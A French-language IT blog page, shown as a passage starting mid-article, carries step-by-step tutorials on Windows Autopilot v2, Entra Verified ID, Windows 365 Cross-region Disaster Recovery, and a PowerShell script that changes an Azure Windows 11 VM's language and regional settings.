Toujours sur la machine virtuelle Hyper-V, ouvrez le navigateur internet Microsoft Edge.

Rendez-vous sur la page suivante pour télécharger l’ISO de Windows 11, puis effectuez les actions suivantes :

Choisissez la langue désirée, puis cliquez sur Confirmer :

Cliquez sur la version 64 bits pour lancer le téléchargement :

Attendez quelques minutes pour que le téléchargement de l’ISO se termine :

Depuis votre VM Hyper-V, rouvrez votre console Hyper-V Manager, puis cliquez-ici pour créer votre machine virtuelle Windows 11 :

Cliquez sur Suivant :

Modifiez les informations suivantes pour pointer vers le nouveau lecteur créé sur la VM Hyper-V, puis cliquez sur Suivant :

Pensez à bien sélectionner Génération 2 :

Comme indiqué, cette option ne sera plus modifiable par la suite.

Modifiez la taille de la mémoire vive allouée à la VM Windows 11, puis cliquez sur Suivant :

Utilisez le switch créé précédemment, puis cliquez sur Suivant :

Cliquez sur Suivant :

Utilisez le fichier ISO de Windows 11 téléchargé précédemment, puis cliquez sur Suivant :

Cliquez sur Terminer pour finaliser la création de votre machine virtuelle Windows 11 :

Une fois la machine virtuelle Windows 11 créée, modifiez sa configuration comme ceci :

Dans la section Sécurité, cochez la case suivante pour activer TPM :

Modifiez le nombre de processeurs virtuels afin d’accélérer l’installation de Windows 11, puis cliquez sur OK :

Double-cliquez sur votre machine virtuelle Windows 11 :

Cliquez-ici pour lancer le démarrage de la VM Windows 11 :

Appuyez sur n’importe quelle touche du clavier pour démarrer sur l’image ISO de Windows 11 :

Attendez que le chargement se termine :

La machine virtuelle est maintenant prête à recevoir l’OS Windows 11. Suivez toutes les étapes de l’installation pour le configurer et l’installer.

Choisissez les informations de langue qui vous correspondent, puis cliquez sur Suivant :

Lancez l’installation de Windows 11 :

Choisissez une version de Windows 11, puis cliquez sur Suivant :

Acceptez les termes et conditions de Microsoft, puis cliquez sur Suivant :

Sélectionnez l’installation personnalisée de Windows 11 :

Validez l’installation sur le seul disque disponible, puis cliquez sur Suivant :

Attendez maintenant que l’installation de Windows 11 commence :

Lancez le redémarrage de la machine virtuelle Windows 11 :

Tout est bon, il ne nous reste plus qu’à voir si nouvelle méthode d’Autopilot v2 prend bien la suite de la configuration une fois l’utilisateur 365 authentifié.

Etape IX – Test Autopilot v2 :

Attendez quelques minutes que le redémarrage se termine :

Une fois l’interface Windows 11 affichée, sélectionnez le pays adapté, puis cliquez sur Oui :

Choisissez le clavier correspondant au vôtre, puis cliquez sur Oui :

Ajoutez si besoin un second clavier :

Attendez que l’installation de Windows 11 vérifie si de nouvelles mises à jour sont disponibles :

Le traitement peut être plus ou moins long :

Un redémarrage est même possible :

Afin que le processus Autopilot v2 fonctionne, configurez votre Windows 11 avec un des utilisateurs appartenant au groupe créé pour les utilisateurs Intune via Autopilot v2, puis cliquez sur Suivant :

Windows 11 se connecte alors au compte 365 pour en comprendre la configuration Autopilot v2 :

Le processus de préparation des appareils Windows Autopilot démarre alors :

Une fois le traitement terminé, cliquez sur Accepter :

Si besoin, déverrouillez la session Windows pour continuer :

Attendez la fin de configuration Windows :

Vous voilà enfin sur le bureau Windows 11 !

Attendez quelques minutes afin de voir le Company Portal s’installer automatiquement :

Le client Global Secure Access, est lui aussi installé automatiquement, ouvrant une fenêtre authentification avec possibilité SSO :

Environ 20 minutes plus tard, d’autres applications comme ceux liés à la suite Office, s’installent également de façon automatique :

Prenons en exemple l’installation manuelle de Mozilla Firefox :

L’installation manuelle via le Company Portal ne prend que quelques secondes :

Et l’application Firefox s’ajoute bien dans menu Démarrer de Windows :

Le script configuré en dehors de la Préparation de l’appareil Windows Autopilot (Autopilot v2) s’exécute bien dans le contexte utilisateur :

Enfin côté portail Intune, Microsoft propose également un nouveau rapport afin de surveiller l’état des déploiements Autopilot v2 :

Conclusion

J’espère que cet article vous aura permis de percevoir les avantages et l’intérêt possible de cette nouvelle méthode Autopilot v2. Bien entendu, et comme le rappelle Microsoft, ce nouveau type de déploiement ne pourra pas encore prendre en compte tous les scénarios ou toutes les configurations.

Entra Verified ID

Dans un monde où nos vies numériques et physiques sont inextricablement liées, la sécurité des identités est primordiale. Les violations de données et l’usurpation d’identité sont des menaces croissantes.

Pour contrer cela, Microsoft s’intègre dans l’idée d’une solution innovante d’identité décentralisée qui donne aux utilisateurs le contrôle de leurs informations, éliminant la dépendance aux autorités centralisées et aux intermédiaires. Voici d’ailleurs ici quelques notions présentées par Microsoft.

Et voilà les différents points abordés dans cet article :

Pourquoi imaginer des identités décentralisées ?

Notre identité numérique est utilisée partout, souvent sans notre consentement éclairé. Actuellement, nos données sont contrôlées par des tiers, ce qui présente des risques de sécurité. Une identité décentralisée permet aux utilisateurs de contrôler et sécuriser leurs informations personnelles :

Microsoft travaille-t-il seul dans son coin ?

La réponse est bien évidemment non 🙏

Microsoft collabore activement avec les membres de la DIF (Decentralized Identity Foundation), du W3C Credentials Community Group et de la communauté plus étendue en lien avec l’identité. Nous avons travaillé avec ces groupes pour identifier et développer des normes critiques, et les normes suivantes ont été implémentées dans nos services.

Microsoft Learn

Qu’est-ce que sont les identificateurs décentralisés (DID) ?

Les DID sont des identifiants uniques créés et contrôlés par les utilisateurs, résistants à la censure et immuables. Ils permettent de prouver des informations sans dépendre de systèmes centralisés :

Qu’est-ce qu’un justificatif vérifiable ?

Les justificatifs vérifiables sont des attestations numériques signées par des entités de confiance. Ils fonctionnent comme des preuves de diplômes, permis ou autres certifications, mais sous une forme numérique sécurisée.

L’application France Identité en est d’ailleurs un bonne exemple puis qu’elle permet le stockage des nouvelles cartes d’identité française ou le permis de conduire :

Comment fonctionne l’identité décentralisée ?

Nous avons besoin d’une nouvelle forme d’identité. Nous avons besoin d’une identité capable de réunir des technologies et des normes pour fournir des attributs d’identité clés tels que l’indépendance et la résistance à la censure. Ces fonctionnalités sont difficiles à obtenir à l’aide des systèmes existants.

Pour y parvenir, il nous faut nous appuyer sur une base technique composée de sept innovations clés. Les identificateurs détenus par l’utilisateur constituent l’une de ces innovations clés, un agent utilisateur pour gérer les clés associées à ces identificateurs et les magasins de données chiffrés et contrôlés par l’utilisateur.

1. Identificateurs décentralisés (DID) W3C. ID créés, détenus et contrôlés par les utilisateurs indépendamment de toute organisation ou de tout gouvernement. Les DID sont des identificateurs globaux uniques liés à des métadonnées DPKI (Decentralized Public Key Infrastructure) composés de documents JSON contenant des éléments de clé publique, des descripteurs d’authentification et des points de terminaison de service.

2. Système d’approbation. Pour pouvoir résoudre les documents DID, les DID sont généralement enregistrés sur un réseau sous-jacent d’un type qui représente un système d’approbation. Microsoft prend actuellement en charge le système d’approbation DID :Web. DID:Web est un modèle basé sur des autorisations qui autorise l’approbation à l’aide de la réputation existante d’un domaine web. DID:Web est dans l’état de pris en charge Disponibilité générale.

3. Agent utilisateur/Portefeuille DID : application Microsoft Authenticator. Permet aux personnes réelles d’utiliser des identités décentralisées et des justificatifs vérifiables. Authenticator crée des DID, facilite les demandes d’émission et de présentation de justificatifs vérifiables, et gère la sauvegarde de la valeur initiale de la requête dans un fichier portefeuille chiffré.

4. Outil de résolution Microsoft. API qui recherche et résout les DID à l’aide de la méthode did:web et retourne le DDO (DID Document Object). Le DDO comprend les métadonnées DPKI associées au DID telles que les clés publiques et les points de terminaison de service.

5. Service Vérification d’identité Microsoft Entra. Service d’émission et de vérification dans Azure et API REST pour Justificatifs vérifiables W3C signés avec la méthode did:web. Ils permettent aux propriétaires d’identité de générer, présenter et vérifier les revendications. Ils constituent la base de confiance entre les utilisateurs des systèmes.

Microsoft Learn

Comment puis-je facilement tester les identités vérifiées ?

Par cet exercice d’identité vérifiée proposé par Microsoft, le processus devrait vous paraître plus concret. Voici l’explication du contexte de cet démonstration

  • Woodgrove est une société privée.
  • Proseware, une société qui offre des remises aux employés de Woodgrove.
  • Alice, une employée de Woodgrove souhaite obtenir une remise tarifaire sur les produits Proseware

Voici les différentes étapes de cet exercice :

  • Etape 1 : Obtention d’une identité vérifiée en relation avec une identité physique
  • Etape 2 : Utilisation de l’identité vérifié pour accéder aux ressources d’entreprise
  • Etape 3 : Utilisation de l’identité vérifié pour accéder aux ressources tierces

Si vous ne souhaitez pas faire cet exercice par vous-même, j’ai retrouvé une vidéo retraçant les différentes étapes :

Le seul prérequis nécessaire pour réaliser cet exercice est de disposer de Microsoft Authenticator sur son smartphone.

Pour réaliser cet exercice, rendez-vous sur cette page, renseignez des informations fictives, puis cliquez sur Suivant :

Cliquez-ici pour obtenir une identité vérifiée :

Cliquez-ici pour prendre une photographie fictive :

Cliquez-ici pour téléverser une copie d’une identité gouvernementale fictive :

Cliquez sur Suivant :

Attendez quelques secondes, puis cliquez sur OK :

Votre identité fictive a bien généré une identité vérifiée que nous allons maintenant récupérer :

Pour cela, ouvrez Microsoft Authenticator sur votre smartphone afin de scanner le QR code généré pour cette identité vérifiée :

La page web s’actualise et vous demande de reproduire le code PIN sur votre Smartphone :

Cliquez sur Suivant :

Cliquez sur Ajouter :

La page web s’actualise pour vous confirmer le succès de la récupération de l’identité vérifiée sur votre application Microsoft Authenticator, et vous invite ensuite à retourner sur la page principale :

L’étape 2 est automatiquement validée par le fait de disposer cette identité vérifiée sur votre application Microsoft Authenticator :

L’identité vérifiée s’intègre dans la liste des identités vérifiées sauvegardées, cliquez sur celle-ci :

Constatez les informations Entra ID stockées dans cette identité vérifiée :

Un autre onglet affiche l’historique des actions associées à cette identité vérifiée :

Toujours sur le portail web, cliquez-ici pour utiliser cette identité vérifiée pour vous authentifier sur portail employé de votre entreprise :

Scanner le QR code suivant afin d’autoriser le partage de votre identité vérifiée avec votre entreprise Woodgrove :

Utilisez la fonction suivante pour scanner le QR code généré :

Le site web est maintenant en attente de l’acceptation du partage d’informations de votre identité vérifiée :

Choisissez l’identité vérifiée à partager avec l’entreprise Woodgrove, puis confirmez le partage en cliquant ici :

Le site web de votre entreprise Woodgrove s’actualise et vous invite maintenant à continuer pour accéder au portail employé :

Une nouvelle activité liée à Woodgrove s’ajoute sur votre identité vérifiée :

Retournez sur le portail employé de votre entreprise Woodgrove afin de tester la validité de votre identité vérifiée par ce lien :

Un nouvel onglet s’ouvre à destination d’un site de vente fictif appelé Proseware :

Afin de profiter de rabais intéressant, une identification entreprise est nécessaire chez Proseware. Pour cela, cliquez sur le bouton suivant pour accéder aux prix remisés :

Cliquez sur le choix suivant afin d’utiliser votre nouvelle identité vérifiée :

Comme votre identité vérifiée est stockée sur votre application Microsoft Authenticator, un QR code est généré par Proseware afin de partager des informations d’identification :

Ouvrez Microsoft Authenticator sur votre smartphone, puis utilisez la fonction suivant pour scanner le QR code généré par Proseware :

Le site web de Proseware est maintenant en attente de l’acceptation du partage d’informations de votre identité vérifiée :

Choisissez l’identité vérifiée à partager avec Proseware, puis confirmez le partage en cliquant ici :

Le site web de Proseware s’actualise et affiche maintenant des tarifs remisés selon votre identité vérifiée :

Une nouvelle activité Proseware s’ajoute sur votre identité vérifiée :

Quelques informations supplémentaires sur ce partage sont disponibles :

Peut-on mettre en place les identités vérifiées sur Entra ID ?

Oui, il est possible de mettre en place les identités vérifiées sur Microsoft Entra ID. Voici quelques étapes clés pour commencer :

  1. Configurer votre locataire Microsoft Entra : Vous devez d’abord configurer votre locataire pour la vérification d’identité.
  2. Créer des informations d’identification vérifiables : Utilisez le portail Microsoft Entra pour créer et émettre des informations d’identification personnalisées.
  3. Utiliser des outils et des exemples de code : Microsoft fournit des exemples de code et des guides pour vous aider à émettre et vérifier des informations d’identification vérifiables.

Pour cela, rendez-vous sur la page suivante d’Entra ID afin de démarrer le processus de mise en route d’Entra Verified ID.

Deux options de mise en place s’offrent alors à vous :

Pour notre démonstration, choisissez la configuration rapide :

Si votre tenant contient plusieurs domaines personnalisés, choisissez celui que vous souhaitez mettre en place pour ce service d’identité vérifiée, puis cliquez sur Sauvegarder :

La configuration sur votre tenant se met alors en place, Entra vous invite à patienter environ 1 minute :

Une fois la configuration automatique terminée, la notification suivante apparaît :

Retournez sur cette même page afin de constater l’apparition de nouveaux menus, ainsi que l’apparition d’un rendu graphique de l’identité vérifiée générée sur votre tenant :

Cliquez-ici afin de contrôler qui sur votre tenant peut obtenir une identité vérifiée :

Par défaut, tous les utilisateurs de votre tenant peuvent obtenir une identité vérifié. Cette option reste modifiable via ces 2 champs :

Retournez sur la page précédente afin d’obtenir une identité vérifiée sur votre compte Entra actuel :

Ce lien ouvre un nouvel onglet vers la page Mon Compte :

Cliquez-ici pour obtenir votre identité vérifiée :

Un QR code est alors généré et valable pendant 5 minutes :

Sur votre smartphone, ouvrez l’application Microsoft Authenticator, puis rendez-vous dans le menu suivant afin de scanner le QR Code :

L’identité vérifiée associée au QR code est reconnue, Microsoft Authenticator vous propose de l’ajouter à votre portefeuille d’identités vérifiées :

Cette dernière s’intègre alors dans la liste des identités vérifiées déjà sauvegardées :

Cliquez dessus afin de constater les informations Entra ID stockées dans cette identité vérifiée :

Ces informations ont été rendues accessibles par le biais de la configuration de l’identité vérifiée de votre tenant :

Toujours sur l’application Microsoft Authenticator, un autre onglet affiche l’historique des actions associées à cette identité vérifiée :

Retournez sur le portail Entra ID afin de tester la validité de votre identité vérifiée par ce lien :

Un nouvel onglet s’ouvre à destination d’un site de vente fictif appelé Proseware :

Afin de profiter de rabais intéressant, une identification est nécessaire chez Proseware. Pour cela, cliquez sur le bouton suivant pour accéder aux prix remisés :

Cliquez sur le choix suivant afin d’utiliser votre nouvelle identité vérifiée :

Comme votre identité vérifiée est stockée sur votre application Microsoft Authenticator, un QR code est généré par Proseware afin de partager des informations d’identification :

Ouvrez Microsoft Authenticator sur votre smartphone, puis utilisez la fonction suivant pour scanner le QR code généré par Proseware :

Le site web de Proseware est maintenant en attente de l’acceptation du partage d’informations de votre identité vérifiée :

Confirmez le partage en cliquant ici :

Le site web de Proseware s’actualise et affiche maintenant des tarifs remisés selon votre identité vérifiée :

Une nouvelle activité Proseware s’ajoute sur votre identité vérifiée :

Quelques informations supplémentaires sur ce partage sont disponibles :

Enfin, une fonction de révocation est même disponible via la page de configuration d’Entra ID :

Et il semble également possible de retirer le service déjà configuré d’identités vérifiées sur un tenant :

Conclusion

L’identité décentralisée promet de redonner le contrôle des données aux utilisateurs, en assurant une gestion sécurisée et privée des identités numériques :

  • Contrôle et Sécurité : Les utilisateurs gèrent leurs propres identifiants et données, réduisant les risques de violations et d’usurpation d’identité.
  • Confidentialité : Les données personnelles sont partagées uniquement avec consentement explicite, sans intermédiaires centralisés.
  • Interopérabilité : Utilisation de normes ouvertes (comme les DID et justificatifs vérifiables), permettant une intégration fluide avec divers systèmes.
  • Fiabilité : Justificatifs émis par des entités de confiance, validés de manière sécurisée et infalsifiable.

Windows 365 Cross-region Disaster Recovery (CRDR) !

Comme beaucoup de services Azure en GA, Windows 365 possède lui aussi une SLA. Celle-ci est annoncée à 99.9 %. Pour un utilisateur travaillant dans son Cloud PC, il est essentiel que ce dernier soit hautement disponible pour accomplir ses tâches. Mais si un panne intervient dans un centre de données Microsoft, existe-t-il une option de reprise d’activité après sinistre pour son Cloud PC Windows 365 ? La réponse est … oui !

Avant de s’intéresser à ce nouveau service disponible via une licence add-on, faisons rapidement le tour de ce que propose Microsoft en termes de services pour Windows 365.

Quels sont les engagements Microsoft en termes de SLA ?

Voici un lien officiel Microsoft contenant les SLAs par services. Vous pouvez y télécharger le document Word dans la langue de votre choix :

Dans ce document figure une section dédiée à la SLA du service Windows 365. On y retrouve les engagements Microsoft et les indemnités financières en cas d’indisponibilité :

Quelles sont les mesures de maintien de service dans une licence Windows 365 ?

Sur la page consacrée au Cloud PC de Microsoft, on y retrouve les informations de disponibilités suivantes :

  • 99,9 % des sessions utilisateur Windows 365 Cloud PC hautement disponibles, telles que définies dans le contrat SLA Windows 365.
  • Stockage sur disque avec résilience des objets de données de onze 9.
  • Récupération d’urgence automatisée « dans la zone » pour le calcul.
  • Un objectif de point de récupération de ~0.
Microsoft Learn

Cela nous indique que Microsoft a différents mécanismes possibles dans la même zone pour prévenir des défaillances matérielles :

  • Défaillance CPU/Mémoire
  • Défaillance du réseau
  • Défaillance des disques
  • Défaillance électrique

Il ne semble pas y avoir de surcoût pour profiter de ce premier niveau de protection, et le niveau de RPO est proche de zéro :

La récupération d’urgence Windows 365 automatisée est basée sur une copie à jour du disque du système d’exploitation, avec un RPO de ~0. Par conséquent, le processus de récupération démarre automatiquement, car il n’est pas nécessaire d’accepter la perte de données associée à une récupération dans le passé.

Microsoft Learn

Quid de la SLA dans la gestion des Cloud PC (Intune + Portail) ?

Toujours dans ce même article, Microsoft nous annonce d’autres chiffres sur la gestion Intune des Cloud PC, mais également dans l’accès aux utilisateurs :

Le service de gestion des PC cloud possède une architecture régionalement redondante, conçue pour être hautement disponible, avec une durée de bon fonctionnement cible de 99,99 %. En cas de panne du service de gestion, le service a les objectifs suivants :

  • RTO de < 6 heures.
  • RPO de <30 minutes pour les modifications apportées au service de gestion.
Microsoft Learn

Qu’est que le Cross-region Restore ?

Le service appelé Cross-region Restore est connu de longue date pour la restauration des machines virtuelles Azure au travers du service Recovery Service Vault, quand celui-ci a la fonctionnalité CRR d’activée :

La restauration inter-région peut être utilisée pour restaurer des machines virtuelles Azure dans la région secondaire, qui est une région jumelée à Azure.

Vous pouvez restaurer toutes les machines virtuelles Azure pour le point de récupération sélectionné si la sauvegarde est effectuée dans la région secondaire.

Pendant la sauvegarde, les captures instantanées ne sont pas répliquées dans la région secondaire. Seules les données stockées dans le coffre sont répliquées. Ainsi, les restaurations de la région secondaire sont des restaurations de niveau coffre uniquement. L’heure de restauration de la région secondaire sera presque identique à celle du niveau coffre pour la région principale.

Microsoft Learn

Qu’est que le Cross-region Disaster Recovery (CRDR) pour Windows 365 ?

En ce 1er juillet 2024, Microsoft a annoncé la disponibilité générale de son service Cross-region Disaster Recovery pour Windows 365. Déjà disponible pour un grand nombre de services Azure, cette offre payante permet de disposer d’une sauvegarde de secours sur une seconde région Azure distante :

La récupération d’urgence inter-région de Windows 365 est un service facultatif pour Windows 365 Entreprise qui protège les PC et les données cloud contre les pannes régionales.

Lorsqu’il est activé, il crée des copies temporaires distantes géographiquement des PC cloud accessibles dans la région de sauvegarde sélectionnée. Ces copies permettent d’augmenter la disponibilité et de préserver la productivité.

Microsoft Learn

CRR vs DR vs CRDR ?

Le Cross Region Restore (CRR) et le Disaster Recovery (DR) sont toutes deux des stratégies utilisées pour assurer la continuité des activités et la protection des données, mais elles servent à des fins différentes et sont utilisées dans des scénarios différents :

  • Cross Region Restore (CRR) permet de restaurer des données sauvegardées dans une région secondaire.
  • Disaster Recovery (DR) implique un ensemble de politiques et de procédures pour permettre la récupération synchrone ou la continuation des infrastructures technologiques vitales et des systèmes suite à un désastre.

Le Cross-region Disaster Recovery (CRDR) s’inscrit finalement dans un mélange de ces 2 concepts :

  • Restauration des données sauvegardées dans une région secondaire.
  • Procédure pour permettre la continuation des infrastructures dans une région secondaire.

Quid des RPOs et RTOs ?

Comme le Cross-region Disaster Recovery de Windows 365 fonctionne avec des sauvegardes périodiques et non une synchronisation constante des données, le RPO s’en retrouve impacté :

En cas de panne, le service a les objectifs cibles suivants pour la récupération d’urgence inter-région :

  • RTO de < 4 heures pour les tenants avec moins de 50 000 PC cloud dans une région.
  • RPO de <4 heures.
Microsoft Learn

Note : le délai RPO du CRR dépendra également de la fréquence de sauvegarde configurée dans les paramètres de l’utilisateur des Cloud PCs :

Maintenant que ces concepts ont été annoncés, et afin d’y avoir plus clair, je vous propose un petit exercice sur le Cross-region Disaster Recovery (CRDR) pour Windows 365 :

Etape 0 – Rappel des prérequis :

Pour réaliser cet exercice sur Windows 365, il vous faudra disposer de :

  • Un tenant Microsoft
  • Une licence Microsoft 365
  • Une licence Windows 365 Entreprise
  • Une licence add-on Windows 365 Cross Region Disaster Recovery

Commencez par configurer le service Cross Region Disaster Recovery via le portail Intune.

Etape I – Configuration du CRDR

Rendez-vous sur la page du portail Intune, puis naviguez dans le menu suivant afin d’y retrouver la liste de vos postes Windows 365 :

Rendez-vous dans le menu suivant pour configurer le CRDR :

Cliquez sur la règle de paramètres utilisateurs de votre choix :

Cliquez sur Éditer :

Activez par cette option la fonctionnalité CRDR :

Choisissez le lien réseau correspondant à votre infrastructure, mais également la Géographie et la région Azure où seront créés les Cloud PCs quand le CRDR sera déclenché, puis cliquez sur Suivant :

Cliquez ici pour mettre à jour votre règle utilisateur :

La notification Intune suivante apparaît alors :

Vérifiez que le paramétrage CRDR est bien changé sur votre règle utilisateur :

Toujours sur le portail Intune, rendez-vous dans le rapport suivant afin de voir l’impact sur vos Cloud PCs déjà en place :

Cliquez sur la section suivante afin de comprendre pourquoi une alerte est présente :

Cliquez sur un des Cloud PCs pour comprendre le motif de l’alerte :

Un problème de licence est bien à l’origine de notre alerte :

Comme la majorité des licences, cet add-on a lui-aussi besoin d’être acheté en nombre et assigné aux utilisateurs concernés.

Ouvrez un nouvel onglet vers le portail Entra, puis cliquez sur la licence add-on Windows 365 Cross Region Disaster Recovery :

Assignez cet add-on a un de vos utilisateurs disposant déjà d’une licence Windows 365 :

Attendez quelques minutes, puis retournez sur le rapport afin de constater la disparition de l’alerte sur l’utilisateur en question :

La configuration du CRDR semble terminée, il ne nous reste qu’à tester le service sur notre utilisateur de test pour comprendre en détail la procédure de ce service.

Etape II – Activation du Cross-region Disaster Recovery :

Ouvrez une session sur votre Windows 365, puis rendez-vous sur la page Internet suivante afin de localiser approximativement votre Cloud PC.

Dans mon cas, le résultat nous montre une IP rattachée à la région de Zurich en Suisse. Cette information est cohérente puis que ce Cloud PC est créé dans la région Azure Suisse Nord :

Retournez sur la console Intune, puis activez le service CRDR pour ce Cloud PC via la fonction Bulk :

Renseignez tous les champs, puis cliquez sur Suivant :

Choisissez le Cloud PC dont l’utilisateur possède la licence Windows 365 Cross Region Disaster Recovery, puis cliquez sur Suivant :

Lancez l’activation du CRDR en cliquant sur Créer :

La notification Intune suivante apparaît :

Attendez quelques minutes, puis retourner sur la page du Cloud PC afin d’y constater l’erreur du lancement du CRDR :

Je pense que cela s’explique par l’absence de points de restauration dans la seconde région Azure, et/ou du fait de la configuration très récente.

J’ai donc décidé d’attendre 24-48 heures avant de recommencer la même opération d’activation du CRDR :

La notification Intune suivante apparaît :

Attendez quelques minutes, puis retourner sur la page du Cloud PC afin d’y constater le lancement du CRDR :

Quelques minutes plus tard, la session Windows ouverte sur le Cloud PC concerné se ferme d’elle-même, pour cause d’arrêt de la machine virtuelle :

Retentez d’ouvrir une session Windows 365 via le client Microsoft Remote Desktop :

Le message d’erreur suivant indique que la machine virtuelle du Cloud PC n’est plus accessible :

Actualiser la page du Cloud PC afin d’y constater un changement du statut CRDR :

Quelques minutes plus tard, le statut CRDR est passé en complété :

Retournez sur le rapport Intune appelé Statut de reprise après sinistre des PC Cloud dans toute la région afin d’y constater 2 nouvelles informations :

  • Le démarrage du service CRDR
  • L’expiration de l’instance CRDR dans 7 jours

Sur le client Microsoft Remote Desktop, lancez un rafraîchissement sur le Cloud PC :

Constatez l’apparition d’un second espace de travail contenant un poste appelé Temporary Cloud PC :

Ouvrez une session de bureau à distance sur ce Temporary Cloud PC :

Rendez-vous sur la page Internet suivante afin de localiser approximativement votre Cloud PC temporaire.

Dans mon cas, ce nouveau résultat nous montre une IP rattachée à la France. Cette information est cohérente, puisque le CRDR est configuré sur la région Azure France Central :

La notification Windows suivante nous informe également le caractère temporaire de ce second Cloud PC :

Il ne nous reste plus qu’à désactiver le Cross-region Disaster Recovery afin de voir le retour dans la région Azure d’origine.

Etape III – Désactivation du Cross-region Disaster Recovery :

Comme pour l’activation du CRDR, la désactivation de ce dernier se déclenche via la fonction Bulk :

Cliquez-ici pour ajouter le Cloud PC temporaire concerné par le CRDR :

Choisissez le Cloud PC temporaire créé sur France Central :

Cliquez sur Suivant :

Lancez la désactivation du CRDR en cliquant sur Créer :

La notification Intune suivante apparaît :

Attendez quelques minutes, puis retourner sur la page du Cloud PC afin d’y constater le lancement du failback du CRDR :

Suite à cette opération, une notification Windows nous informe que le Cloud PC temporaire devrait être décommissionné sous peu :

Une seconde notification Windows se fait plus pressante sur le besoin de déconnexion du Cloud PC temporaire :

Quelques minutes plus tard, le statut du failback du CRDR est passé en complété :

Retournez sur le rapport Intune appelé Statut de reprise après sinistre des PC Cloud dans toute la région afin d’y constater 2 nouvelles informations :

  • L’arrêt du service CRDR
  • La suppression de l’expiration du Cloud PC temporaire

Quelques minutes plus tard, la session Windows ouverte sur le Cloud PC temporaire est automatiquement fermée à cause de l’arrêt de la machine virtuelle :

Sur le client Microsoft Remote Desktop, lancez un rafraîchissement sur le Cloud PC temporaire :

Constatez dans le second espace de travail la disparition du poste appelé Temporary Cloud PC :

Ouvrez une session de bureau à distance sur le Cloud PC de base :

Ouvrez à nouveau page Internet suivante.

Dans mon cas, le résultat nous remontre une IP rattachée à la région de Zurich en Suisse. Cette information est cohérente puis que ce Cloud PC de base avait été créé dans la région Azure Suisse Nord :

Conclusion

Contrairement à de nombreuses solutions traditionnelles de récupération après sinistre, Windows 365 Cross-region Disaster Recovery a été conçu pour être configuré et utilisé avec une expérience minimale, voire aucune, en matière de récupération après sinistre. La configuration peut être terminée en quelques minutes.

Windows 365 Cross-region Disaster Recovery est fourni en tant que licence complémentaire aux SKU Windows 365 Entreprise. Aux États-Unis, le prix de l’add-on Windows 365 Cross-region Disaster Recovery est de 5 $ par utilisateur et par mois.

Modifiez la langue de votre VM

Grâces à la Marketplace Azure, il est très facile de trouver son bonheur quand on recherche une image particulière, déjà mise à jour et surtout adaptée au contexte du Cloud. Seulement, certaines personnalisations ultérieures sont souvent nécessaires, comme par exemple : la langue affichée. Certains vous diront que fois basique, mais c’est souvent essentiel pour de nombreux utilisateurs non anglophones.

Ayant récemment travaillé sur un environnement Azure Virtual Desktop aux exigences de langues spécifiques, je souhaitais trouver un moyen simple de changer la langue OS d’une machine virtuelle image template fonctionnant sous Windows 11.

Microsoft préconise cette approche pour AVD :

À compter de Windows 11, les comptes d’utilisateur non-administrateurs peuvent désormais ajouter la langue d’affichage et les fonctionnalités de langue correspondantes. Cette fonctionnalité signifie que vous n’aurez pas besoin de préinstaller des modules linguistiques pour les utilisateurs d’un pool d’hôtes personnel.

Pour les pools d’hôtes mis en pool, nous vous recommandons quand même d’ajouter les langues que vous prévoyez d’ajouter à une image personnalisée. Vous pouvez utiliser les instructions de cet article pour les versions à session unique et à plusieurs sessions de Windows 11 Entreprise.

Microsoft Learn

La méthode proposé par Microsoft pour les environnements Azure Virtual Desktop multisessions semble très convaincante et fera l’objet d’un prochain article sur ce blog.

En parallèle de cette méthode, je souhaitais vous en proposer une autre plus ancienne, mais toujours fonctionnelle, pour une VM Azure Virtual Desktop ou non.

Plein de choses sont d’ailleurs déjà possibles via des GPOs, mais je souhaitais configurer la langue directement dans mon image VM template.

Voici donc les quelques chapitres dans mon article :

Etape 0 – Rappel des prérequis :

Pour réaliser mon test, il vous faudra disposer de :

  • Un tenant Microsoft
  • Une souscription Azure valide

Commençons par créer une machine virtuelle sous Windows 11.

Etape I – Création d’une machine virtuelle :

Comme vous pouvez le voir dans la copie d’écran ci-dessous, il n’est pas possible de choisir précisément la langue ou le pack de langues de notre OS :

Comme attendu, l’écran de démarrage est par défaut en anglais :

L’interface utilisateur l’est également :

Allons voir dans Language et région :

Seule la langue Anglais (USA) est disponible pour notre utilisateur administrateur :

Seul le pack Anglais (USA) semble installé :

Cela se confirme par la commande suivante :

Get-InstalledLanguage

Toutes les features et le clavier correspondant semblent déjà installés pour ce pack de langue :

Le pays est là encore défini sur USA, peu importe le région Azure utilisée :

De façon logique, le formatage Anglais (USA) y est également appliqué :

Continuons avec l’administration des paramètres de la langue :

Un clic pour consulter les 3 types de paramétrage :

Que ce soit pour l’utilisateur actuel, l’écran d’accueil ou pour un nouvel utilisateur, tout est configuré en Anglais (USA) :

Maintenant, notre but est donc de modifier la configuration en Anglais vers une configuration Français (Suisse). Pour cela, je me suis inspiré de l’article suivant écrit par Alexandre Verkinderen pour y parvenir.

Etape II – Modification de la langue via script :

Commençons par ouvrir une fenêtre PowerShell ISE :

Vérifions une seconde fois le ou les packs de langue installés par la commande suivante :

Get-InstalledLanguage

Exécuter le script PowerShell suivant en prenant soin de modifier certaines variables :

  • $regionalsettingsURL (ne pas modifier) : méhode automatisée ancienne, mais toujours valable et basée sur un fichier XML de configuration source
  • $RegionalSettings (ne pas modifier) : fichier XML de configuration de destination
  • $Language : modifier au besoin le language (liste)
  • $GeoId : Zone géographique (liste)
  • $TimeZone : Fuseau horaire par défaut (liste)
# Script to define regional settings on Azure Virtual Machines deployed from the market place
# Author: Created by Alexandre Verkinderen, modified by Jean-Loup Orgitello
# Blogpost: https://mscloud.be/configure-regional-settings-and-windows-locales-on-azure-virtual-machines/
#
########################################

#variables
$regionalsettingsURL = "https://raw.githubusercontent.com/jlou07/CHLang/main/CHRegion.xml"
$RegionalSettings = "C:\Region.xml"
$Language = "fr-CH"
$GeoId = "223"
$TimeZone = "W. Europe Standard Time"

#LanguagePack Suisse
Install-Language $Language

#downdload regional settings file
$webclient = New-Object System.Net.WebClient
$webclient.DownloadFile($regionalsettingsURL,$RegionalSettings)

#LanguagePack USA
unInstall-Language "en-US"
Start-sleep -Seconds 120

# Set languages/culture. Not needed perse.
Set-WinSystemLocale $Language
Set-WinUserLanguageList -LanguageList $Language -Force
Set-Culture -CultureInfo $Language
Set-WinHomeLocation -GeoId $GeoId 
Set-TimeZone -id $TimeZone

# Set Locale, language etc. 
& $env:SystemRoot\System32\control.exe "intl.cpl,,/f:`"$RegionalSettings`""

# restart virtual machine to apply regional settings to current user. 
Start-sleep -Seconds 40
Restart-Computer

L’installation d’un pack de langue prend environ 5 minutes :

La suite du script est assez rapide, à l’exception des 2 pauses ajoutées et d’un redémarrage OS :

